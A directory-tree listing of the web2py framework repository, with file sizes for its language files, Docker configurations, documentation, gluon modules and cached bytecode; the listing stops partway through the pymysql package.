│ │ ├── [ 15K] hi.py
│ │ ├── [ 14K] hu.py
│ │ ├── [ 14K] id.py
│ │ ├── [ 14K] it.py
│ │ ├── [ 18K] my-mm.py
│ │ ├── [ 14K] my.py
│ │ ├── [ 14K] nl.py
│ │ ├── [ 14K] pl.py
│ │ ├── [ 743] plural-cs.py
│ │ ├── [ 241] plural-en.py
│ │ ├── [ 144] plural-es.py
│ │ ├── [ 601] plural-ru.py
│ │ ├── [2.0K] plural-uk.py
│ │ ├── [ 14K] pt-br.py
│ │ ├── [ 14K] pt.py
│ │ ├── [ 14K] ro.py
│ │ ├── [ 15K] ru.py
│ │ ├── [ 14K] sk.py
│ │ ├── [ 14K] tr.py
│ │ ├── [ 17K] uk.py
│ │ ├── [ 14K] zh-cn.py
│ │ ├── [ 14K] zh.py
│ │ └── [ 14K] zh-tw.py
│ ├── [ 208] LICENSE
│ ├── [4.0K] models
│ │ ├── [7.6K] db.py
│ │ └── [5.1K] menu.py
│ ├── [4.0K] modules
│ │ ├── [ 1] __init__.py
│ │ └── [4.0K] __pycache__
│ │ ├── [ 195] __init__.cpython-311.pyc
│ │ └── [ 173] __init__.cpython-37.pyc
│ ├── [4.0K] private
│ │ └── [ 613] appconfig.ini
│ ├── [4.0K] __pycache__
│ │ ├── [ 187] __init__.cpython-311.pyc
│ │ └── [ 165] __init__.cpython-37.pyc
│ ├── [2.3K] routes.example.py
│ ├── [4.0K] static
│ │ ├── [ 4] 403.html
│ │ ├── [ 4] 404.html
│ │ ├── [ 4] 500.html
│ │ ├── [ 67] 503.html
│ │ ├── [4.0K] css
│ │ │ ├── [141K] bootstrap.min.css
│ │ │ ├── [539K] bootstrap.min.css.map
│ │ │ ├── [2.9K] calendar.css
│ │ │ ├── [6.9K] web2py-bootstrap4.css
│ │ │ └── [8.2K] web2py.css
│ │ ├── [4.0K] images
│ │ │ ├── [ 323] background.jpg
│ │ │ ├── [ 991] facebook.png
│ │ │ ├── [ 198] favicon.ico
│ │ │ ├── [ 323] favicon.png
│ │ │ ├── [1.5K] gplus-32.png
│ │ │ └── [1.1K] twitter.png
│ │ └── [4.0K] js
│ │ ├── [233K] analytics.min.js
│ │ ├── [ 66K] bootstrap.bundle.min.js
│ │ ├── [267K] bootstrap.bundle.min.js.map
│ │ ├── [ 51K] calendar.js
│ │ ├── [ 85K] jquery.js
│ │ ├── [ 15K] modernizr-2.8.3.min.js
│ │ ├── [3.0K] web2py-bootstrap4.js
│ │ └── [ 36K] web2py.js
│ └── [4.0K] views
│ ├── [ 11K] appadmin.html
│ ├── [4.0K] default
│ │ ├── [2.4K] index.html
│ │ └── [1.2K] user.html
│ ├── [ 704] generic.csv
│ ├── [ 380] generic.html
│ ├── [ 518] generic.ics
│ ├── [ 69] generic.json
│ ├── [ 753] generic.jsonp
│ ├── [ 875] generic.load
│ ├── [2.7K] generic.map
│ ├── [ 300] generic.pdf
│ ├── [ 364] generic.rss
│ ├── [ 79] generic.xml
│ ├── [ 1] __init__.py
│ ├── [6.5K] layout.html
│ └── [ 821] web2py_ajax.html
├── [ 945] appveyor.yml
├── [ 66K] CHANGELOG
├── [4.0K] docker
│ ├── [4.0K] alpine
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 702] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 706] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 696] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 698] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket-ssl
│ │ │ ├── [ 170] docker-compose.yml
│ │ │ ├── [ 764] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 704] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 706] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 700] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] centos
│ │ ├── [4.0K] web2py-eventlet
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 761] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 757] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 761] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 755] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 749] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 759] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-twisted
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 763] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 761] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 751] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] debian
│ │ ├── [4.0K] web2py-diesel
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 687] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-eventlet
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 699] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 695] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 699] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 693] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 719] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 697] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-twisted
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 697] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 691] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 689] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] fedora
│ │ ├── [4.0K] web2py-eventlet
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 727] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 723] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 727] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 721] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 715] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 725] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-twisted
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 725] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 727] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 717] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] opensuse
│ │ ├── [4.0K] web2py-eventlet
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 714] Dockerfile
│ │ │ └── [1.2K] README.md
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 710] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 714] Dockerfile
│ │ │ └── [1.2K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 708] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 702] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 712] Dockerfile
│ │ │ └── [1.2K] README.md
│ │ ├── [4.0K] web2py-twisted
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 712] Dockerfile
│ │ │ └── [1.2K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 714] Dockerfile
│ │ │ └── [1.2K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 712] Dockerfile
│ │ └── [1.2K] README.md
│ ├── [4.0K] python
│ │ ├── [4.0K] web2py-diesel
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 550] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gevent
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 550] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-gunicorn
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 554] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-paste
│ │ │ ├── [ 179] docker-compose.yml
│ │ │ ├── [ 548] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket
│ │ │ ├── [ 180] docker-compose.yml
│ │ │ ├── [ 497] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-rocket-ssl
│ │ │ ├── [ 170] docker-compose.yml
│ │ │ ├── [ 676] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-tornado
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 552] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-twisted
│ │ │ ├── [ 181] docker-compose.yml
│ │ │ ├── [ 552] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ ├── [4.0K] web2py-waitress
│ │ │ ├── [ 182] docker-compose.yml
│ │ │ ├── [ 554] Dockerfile
│ │ │ └── [1.1K] README.md
│ │ └── [4.0K] web2py-wsgiref
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 552] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] stack
│ │ ├── [4.0K] web2py-gunicorn-nginx
│ │ │ ├── [ 614] docker-compose.yml
│ │ │ ├── [1007] README.md
│ │ │ ├── [1.2K] run.sh
│ │ │ ├── [ 490] w2p.conf
│ │ │ ├── [ 474] web2py-gunicorn
│ │ │ └── [ 137] web2py-nginx
│ │ ├── [4.0K] web2py-rocket-nginx
│ │ │ ├── [ 608] docker-compose.yml
│ │ │ ├── [ 993] README.md
│ │ │ ├── [1.2K] run.sh
│ │ │ ├── [ 488] w2p.conf
│ │ │ ├── [ 137] web2py-nginx
│ │ │ └── [ 679] web2py-rocket
│ │ ├── [4.0K] web2py-rocket-ssl-nginx
│ │ │ ├── [ 610] docker-compose.yml
│ │ │ ├── [1021] README.md
│ │ │ ├── [1.2K] run.sh
│ │ │ ├── [ 493] w2p.conf
│ │ │ ├── [ 137] web2py-nginx
│ │ │ └── [ 724] web2py-rocket-ssl
│ │ ├── [4.0K] web2py-rocket-ssl-nginx-db-adminer
│ │ │ ├── [ 988] docker-compose.yml
│ │ │ ├── [1.1K] README.md
│ │ │ ├── [2.1K] run.sh
│ │ │ ├── [ 490] w2p.conf
│ │ │ ├── [ 33] web2py-adminer
│ │ │ ├── [ 184] web2py-db
│ │ │ ├── [ 137] web2py-nginx
│ │ │ └── [ 755] web2py-rocket-ssl
│ │ ├── [4.0K] web2py-rocket-ssl-nginx-memcached
│ │ │ ├── [ 797] docker-compose.yml
│ │ │ ├── [1.1K] README.md
│ │ │ ├── [1.7K] run.sh
│ │ │ ├── [ 490] w2p.conf
│ │ │ ├── [ 22] web2py-memcached
│ │ │ ├── [ 137] web2py-nginx
│ │ │ └── [ 724] web2py-rocket-ssl
│ │ ├── [4.0K] web2py-rocket-ssl-nginx-redis
│ │ │ ├── [ 785] docker-compose.yml
│ │ │ ├── [1.1K] README.md
│ │ │ ├── [1.7K] run.sh
│ │ │ ├── [ 490] w2p.conf
│ │ │ ├── [ 137] web2py-nginx
│ │ │ ├── [ 18] web2py-redis
│ │ │ └── [ 729] web2py-rocket-ssl
│ │ └── [4.0K] web2py-tornado-nginx
│ │ ├── [ 611] docker-compose.yml
│ │ ├── [1000] README.md
│ │ ├── [1.2K] run.sh
│ │ ├── [ 485] w2p.conf
│ │ ├── [ 137] web2py-nginx
│ │ └── [ 685] web2py-tornado
│ └── [4.0K] ubuntu
│ ├── [4.0K] web2py-diesel
│ │ ├── [ 180] docker-compose.yml
│ │ ├── [ 687] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-eventlet
│ │ ├── [ 182] docker-compose.yml
│ │ ├── [ 699] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-gevent
│ │ ├── [ 180] docker-compose.yml
│ │ ├── [ 695] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-gunicorn
│ │ ├── [ 182] docker-compose.yml
│ │ ├── [ 699] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-paste
│ │ ├── [ 179] docker-compose.yml
│ │ ├── [ 693] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-rocket
│ │ ├── [ 180] docker-compose.yml
│ │ ├── [ 687] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-tornado
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 697] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-twisted
│ │ ├── [ 181] docker-compose.yml
│ │ ├── [ 697] Dockerfile
│ │ └── [1.1K] README.md
│ ├── [4.0K] web2py-waitress
│ │ ├── [ 182] docker-compose.yml
│ │ ├── [ 699] Dockerfile
│ │ └── [1.1K] README.md
│ └── [4.0K] web2py-wsgiref
│ ├── [ 181] docker-compose.yml
│ ├── [ 689] Dockerfile
│ └── [1.1K] README.md
├── [4.0K] docs
│ ├── [ 127] admin.rst
│ ├── [ 126] cache.rst
│ ├── [ 121] cfs.rst
│ ├── [ 142] compileapp.rst
│ ├── [8.0K] conf.py
│ ├── [ 145] contenttype.rst
│ ├── [ 151] custom_import.rst
│ ├── [ 188] dal.rst
│ ├── [ 127] debug.rst
│ ├── [ 133] decoder.rst
│ ├── [ 139] fileutils.rst
│ ├── [ 133] globals.rst
│ ├── [ 139] highlight.rst
│ ├── [ 124] html.rst
│ ├── [ 126] http.rst
│ ├── [ 657] index.rst
│ ├── [ 139] languages.rst
│ ├── [ 126] main.rst
│ ├── [6.7K] Makefile
│ ├── [ 163] messageboxhandler.rst
│ ├── [ 133] myregex.rst
│ ├── [ 133] newcron.rst
│ ├── [ 145] portalocker.rst
│ ├── [ 134] recfile.rst
│ ├── [ 29] requirements.txt
│ ├── [ 142] restricted.rst
│ ├── [ 133] rewrite.rst
│ ├── [ 139] sanitizer.rst
│ ├── [ 139] scheduler.rst
│ ├── [ 145] serializers.rst
│ ├── [ 136] settings.rst
│ ├── [ 128] shell.rst
│ ├── [ 133] sqlhtml.rst
│ ├── [ 124] sql.rst
│ ├── [ 133] storage.rst
│ ├── [ 136] streamer.rst
│ ├── [ 136] template.rst
│ ├── [ 128] tools.rst
│ ├── [ 126] utf8.rst
│ ├── [ 128] utils.rst
│ ├── [ 142] validators.rst
│ ├── [ 130] widget.rst
│ └── [ 131] xmlrpc.rst
├── [4.0K] examples
│ ├── [ 158] appengine_config.example.py
│ ├── [2.2K] app.example.yaml
│ ├── [3.8K] logging.example.conf
│ ├── [ 224] queue.example.yaml
│ ├── [ 132] README
│ ├── [9.4K] routes.parametric.example.py
│ ├── [7.7K] routes.patterns.example.py
│ └── [2.1K] web.config
├── [4.0K] extras
│ ├── [4.0K] build_web2py
│ │ ├── [6.2K] build_web2py.py
│ │ ├── [2.4K] README_mac.md
│ │ ├── [ 190] README.md
│ │ ├── [3.2K] README_win.md
│ │ ├── [2.5K] web2py.mac.spec
│ │ ├── [134K] web2py.site_27.py
│ │ ├── [112K] web2py.site_37.py
│ │ ├── [2.2K] web2py.win_no_console.spec
│ │ └── [2.2K] web2py.win.spec
│ └── [4.0K] icons
│ ├── [8.9K] splashlogo.gif
│ ├── [4.3K] web2py.gif
│ ├── [ 38K] web2py.icns
│ └── [111K] web2py.ico
├── [5.9K] fabfile.py
├── [4.0K] gluon
│ ├── [ 13K] admin.py
│ ├── [ 44K] authapi.py
│ ├── [ 26K] cache.py
│ ├── [1.4K] cfs.py
│ ├── [ 28] _compat.py
│ ├── [ 28K] compileapp.py
│ ├── [ 31K] console.py
│ ├── [ 30K] contenttype.py
│ ├── [4.0K] contrib
│ │ ├── [4.5K] appconfig.py
│ │ ├── [ 10K] AuthorizeNet.py
│ │ ├── [6.2K] autolinks.py
│ │ ├── [ 38K] dbg.py
│ │ ├── [9.0K] DowCommerce.py
│ │ ├── [156K] feedparser.py
│ │ ├── [4.0K] fpdf
│ │ │ ├── [ 26K] fonts.py
│ │ │ ├── [ 77K] fpdf.py
│ │ │ ├── [ 14K] html.py
│ │ │ ├── [ 415] __init__.py
│ │ │ ├── [1.5K] php.py
│ │ │ ├── [1.7K] py3k.py
│ │ │ ├── [9.2K] template.py
│ │ │ └── [ 41K] ttfonts.py
│ │ ├── [1.8K] gae_memcache.py
│ │ ├── [3.6K] gae_retry.py
│ │ ├── [4.0K] gateways
│ │ │ ├── [ 43K] fcgi.py
│ │ │ └── [ 2] __init__.py
│ │ ├── [2.5K] generics.py
│ │ ├── [1.1K] google_wallet.py
│ │ ├── [ 778] heroku.py
│ │ ├── [ 16K] hypermedia.py
│ │ ├── [2.3K] imageutils.py
│ │ ├── [ 0] __init__.py
│ │ ├── [4.0K] login_methods
│ │ │ ├── [ 772] basic_auth.py
│ │ │ ├── [4.3K] browserid_account.py
│ │ │ ├── [5.4K] cas_auth.py
│ │ │ ├── [4.4K] dropbox_account.py
│ │ │ ├── [1.5K] email_auth.py
│ │ │ ├── [3.4K] extended_login_form.py
│ │ │ ├── [1.7K] freeipa_auth.py
│ │ │ ├── [1.1K] gae_google_account.py
│ │ │ ├── [ 1] __init__.py
│ │ │ ├── [5.3K] janrain_account.py
│ │ │ ├── [ 32K] ldap_auth.py
│ │ │ ├── [1.5K] linkedin_account.py
│ │ │ ├── [3.7K] loginradius_account.py
│ │ │ ├── [4.5K] loginza.py
│ │ │ ├── [4.5K] motp_auth.py
│ │ │ ├── [6.3K] oauth10a_account.py
│ │ │ ├── [ 11K] oauth20_account.py
│ │ │ ├── [4.4K] oneall_account.py
│ │ │ ├── [ 25K] openid_auth.py
│ │ │ ├── [ 551] pam_auth.py
│ │ │ ├── [5.2K] rpx_account.py
│ │ │ ├── [7.9K] saml2_auth.py
│ │ │ └── [3.3K] x509_auth.py
│ │ ├── [4.0K] markdown
│ │ │ ├── [ 574] __init__.py
│ │ │ ├── [ 43] LICENSE
│ │ │ └── [ 97K] markdown2.py
│ │ ├── [4.0K] markmin
│ │ │ ├── [ 2] __init__.py
│ │ │ ├── [ 56K] markmin2html.py
│ │ │ ├── [ 12K] markmin2latex.py
│ │ │ ├── [3.6K] markmin2pdf.py
│ │ │ ├── [ 16K] markmin.html
│ │ │ ├── [114K] markmin.pdf
│ │ │ └── [4.0K] __pycache__
│ │ │ ├── [ 188] __init__.cpython-311.pyc
│ │ │ ├── [ 166] __init__.cpython-37.pyc
│ │ │ ├── [ 65K] markmin2html.cpython-311.pyc
│ │ │ └── [ 45K] markmin2html.cpython-37.pyc
│ │ ├── [4.0K] memcache
│ │ │ ├── [ 14K] ChangeLog
│ │ │ ├── [3.7K] __init__.py
│ │ │ ├── [ 54K] memcache.py
│ │ │ ├── [ 348] PKG-INFO
│ │ │ └── [ 422] README
│ │ ├── [ 28K] memdb.py
│ │ ├── [4.0K] minify
│ │ │ ├── [6.8K] cssmin.py
│ │ │ ├── [ 494] htmlmin.py
│ │ │ ├── [ 0] __init__.py
│ │ │ ├── [ 14K] jsmin.py
│ │ │ ├── [4.9K] minify.py
│ │ │ └── [4.0K] __pycache__
│ │ │ ├── [ 10K] cssmin.cpython-311.pyc
│ │ │ ├── [5.6K] cssmin.cpython-37.pyc
│ │ │ ├── [ 187] __init__.cpython-311.pyc
│ │ │ ├── [ 165] __init__.cpython-37.pyc
│ │ │ ├── [ 16K] jsmin.cpython-311.pyc
│ │ │ ├── [ 12K] jsmin.cpython-37.pyc
│ │ │ ├── [7.9K] minify.cpython-311.pyc
│ │ │ └── [4.0K] minify.cpython-37.pyc
│ │ ├── [ 214] ordereddict.py
│ │ ├── [3.7K] pam.py
│ │ ├── [ 11K] paymentech.py
│ │ ├── [7.3K] pbkdf2_ctypes.py
│ │ ├── [4.7K] pbkdf2.py
│ │ ├── [6.9K] pdfinvoice.py
│ │ ├── [4.0K] plural_rules
│ │ │ ├── [ 598] af.py
│ │ │ ├── [ 76] ar.py
│ │ │ ├── [ 583] bg.py
│ │ │ ├── [1.2K] ca.py
│ │ │ ├── [ 659] cs.py
│ │ │ ├── [ 578] de.py
│ │ │ ├── [ 724] en.py
│ │ │ ├── [ 752] es.py
│ │ │ ├── [ 78] fa.py
│ │ │ ├── [1.8K] fr.py
│ │ │ ├── [ 577] he.py
│ │ │ ├── [ 566] hi.py
│ │ │ ├── [ 583] hu.py
│ │ │ ├── [ 585] id.py
│ │ │ ├── [ 1] __init__.py
│ │ │ ├── [ 579] it.py
│ │ │ ├── [ 406] ja.py
│ │ │ ├── [ 728] lt.py
│ │ │ ├── [ 575] my.py
│ │ │ ├── [ 580] nl.py
│ │ │ ├── [ 655] pl.py
│ │ │ ├── [ 576] pt.py
│ │ │ ├── [4.0K] __pycache__
│ │ │ │ ├── [ 377] af.cpython-311.pyc
│ │ │ │ ├── [ 303] af.cpython-37.pyc
│ │ │ │ ├── [ 187] ar.cpython-311.pyc
│ │ │ │ ├── [ 165] ar.cpython-37.pyc
│ │ │ │ ├── [ 377] bg.cpython-311.pyc
│ │ │ │ ├── [ 303] bg.cpython-37.pyc
│ │ │ │ ├── [1.2K] ca.cpython-311.pyc
│ │ │ │ ├── [ 740] ca.cpython-37.pyc
│ │ │ │ ├── [ 445] cs.cpython-311.pyc
│ │ │ │ ├── [ 352] cs.cpython-37.pyc
│ │ │ │ ├── [ 377] de.cpython-311.pyc
│ │ │ │ ├── [ 303] de.cpython-37.pyc
│ │ │ │ ├── [ 673] en.cpython-311.pyc
│ │ │ │ ├── [ 508] en.cpython-37.pyc
│ │ │ │ ├── [ 692] es.cpython-311.pyc
│ │ │ │ ├── [ 522] es.cpython-37.pyc
│ │ │ │ ├── [ 187] fa.cpython-311.pyc
│ │ │ │ ├── [ 165] fa.cpython-37.pyc
│ │ │ │ ├── [2.0K] fr.cpython-311.pyc
│ │ │ │ ├── [1.4K] fr.cpython-37.pyc
│ │ │ │ ├── [ 377] he.cpython-311.pyc
│ │ │ │ ├── [ 303] he.cpython-37.pyc
│ │ │ │ ├── [ 377] hi.cpython-311.pyc
│ │ │ │ ├── [ 303] hi.cpython-37.pyc
│ │ │ │ ├── [ 377] hu.cpython-311.pyc
│ │ │ │ ├── [ 303] hu.cpython-37.pyc
│ │ │ │ ├── [ 377] id.cpython-311.pyc
│ │ │ │ ├── [ 303] id.cpython-37.pyc
│ │ │ │ ├── [ 193] __init__.cpython-311.pyc
│ │ │ │ ├── [ 171] __init__.cpython-37.pyc
│ │ │ │ ├── [ 377] it.cpython-311.pyc
│ │ │ │ ├── [ 303] it.cpython-37.pyc
│ │ │ │ ├── [ 330] ja.cpython-311.pyc
│ │ │ │ ├── [ 293] ja.cpython-37.pyc
│ │ │ │ ├── [ 534] lt.cpython-311.pyc
│ │ │ │ ├── [ 395] lt.cpython-37.pyc
│ │ │ │ ├── [ 377] my.cpython-311.pyc
│ │ │ │ ├── [ 303] my.cpython-37.pyc
│ │ │ │ ├── [ 377] nl.cpython-311.pyc
│ │ │ │ ├── [ 303] nl.cpython-37.pyc
│ │ │ │ ├── [ 445] pl.cpython-311.pyc
│ │ │ │ ├── [ 352] pl.cpython-37.pyc
│ │ │ │ ├── [ 377] pt.cpython-311.pyc
│ │ │ │ ├── [ 303] pt.cpython-37.pyc
│ │ │ │ ├── [ 377] ro.cpython-311.pyc
│ │ │ │ ├── [ 303] ro.cpython-37.pyc
│ │ │ │ ├── [ 573] ru.cpython-311.pyc
│ │ │ │ ├── [ 414] ru.cpython-37.pyc
│ │ │ │ ├── [ 573] sk.cpython-311.pyc
│ │ │ │ ├── [ 414] sk.cpython-37.pyc
│ │ │ │ ├── [ 483] sl.cpython-311.pyc
│ │ │ │ ├── [ 379] sl.cpython-37.pyc
│ │ │ │ ├── [ 330] tr.cpython-311.pyc
│ │ │ │ ├── [ 293] tr.cpython-37.pyc
│ │ │ │ ├── [ 573] uk.cpython-311.pyc
│ │ │ │ ├── [ 414] uk.cpython-37.pyc
│ │ │ │ ├── [ 330] zh.cpython-311.pyc
│ │ │ │ └── [ 293] zh.cpython-37.pyc
│ │ │ ├── [ 572] ro.py
│ │ │ ├── [ 771] ru.py
│ │ │ ├── [ 778] sk.py
│ │ │ ├── [ 728] sl.py
│ │ │ ├── [ 404] tr.py
│ │ │ ├── [ 778] uk.py
│ │ │ └── [ 404] zh.py
│ │ ├── [ 17K] populate.py
│ │ ├── [4.0K] pyaes
│ │ │ ├── [ 59K] aes.py
│ │ │ ├── [7.9K] blockfeeder.py
│ │ │ ├── [2.0K] __init__.py
│ │ │ ├── [1.1K] LICENSE.txt
│ │ │ ├── [4.0K] __pycache__
│ │ │ │ ├── [ 53K] aes.cpython-311.pyc
│ │ │ │ ├── [8.7K] blockfeeder.cpython-311.pyc
│ │ │ │ ├── [ 819] __init__.cpython-311.pyc
│ │ │ │ └── [1.8K] util.cpython-311.pyc
│ │ │ ├── [ 11K] README.md
│ │ │ └── [2.0K] util.py
│ │ ├── [4.0K] __pycache__
│ │ │ ├── [8.0K] appconfig.cpython-311.pyc
│ │ │ ├── [4.4K] appconfig.cpython-37.pyc
│ │ │ ├── [9.7K] autolinks.cpython-311.pyc
│ │ │ ├── [6.4K] autolinks.cpython-37.pyc
│ │ │ ├── [ 180] __init__.cpython-311.pyc
│ │ │ ├── [ 158] __init__.cpython-37.pyc
│ │ │ ├── [115K] pypyodbc.cpython-311.pyc
│ │ │ ├── [ 61K] pypyodbc.cpython-37.pyc
│ │ │ ├── [ 22K] rss2.cpython-311.pyc
│ │ │ ├── [ 14K] rss2.cpython-37.pyc
│ │ │ ├── [ 36K] user_agent_parser.cpython-311.pyc
│ │ │ └── [ 23K] user_agent_parser.cpython-37.pyc
│ │ ├── [ 416] pyfpdf.py
│ │ ├── [4.0K] pymysql
│ │ │ ├── [1.6K] CHANGELOG
│ │ │ ├── [ 13K] charset.py
│ │ │ ├── [ 481] _compat.py
│ │ │ ├── [ 54K] connections.py
│ │ │ ├── [4.0K] constants
│ │ │ │ ├── [ 856] CLIENT.py
│ │ │ │ ├── [ 680] COMMAND.py
│ │ │ │ ├── [2.2K] CR.py
│ │ │ │ ├── [ 12K] ER.py
│ │ │ │ ├── [ 372] FIELD_TYPE.py
│ │ │ │ ├── [ 214] FLAG.py
│ │ │ │ ├── [ 0] __init__.py
│ │ │ │ ├── [4.0K] __pycache__
│ │ │ │ │ ├── [1015] CLIENT.cpython-311.pyc
│ │ │ │ │ ├── [ 841] CLIENT.cpython-37.pyc
│ │ │ │ │ ├── [1.1K] COMMAND.cpython-311.pyc
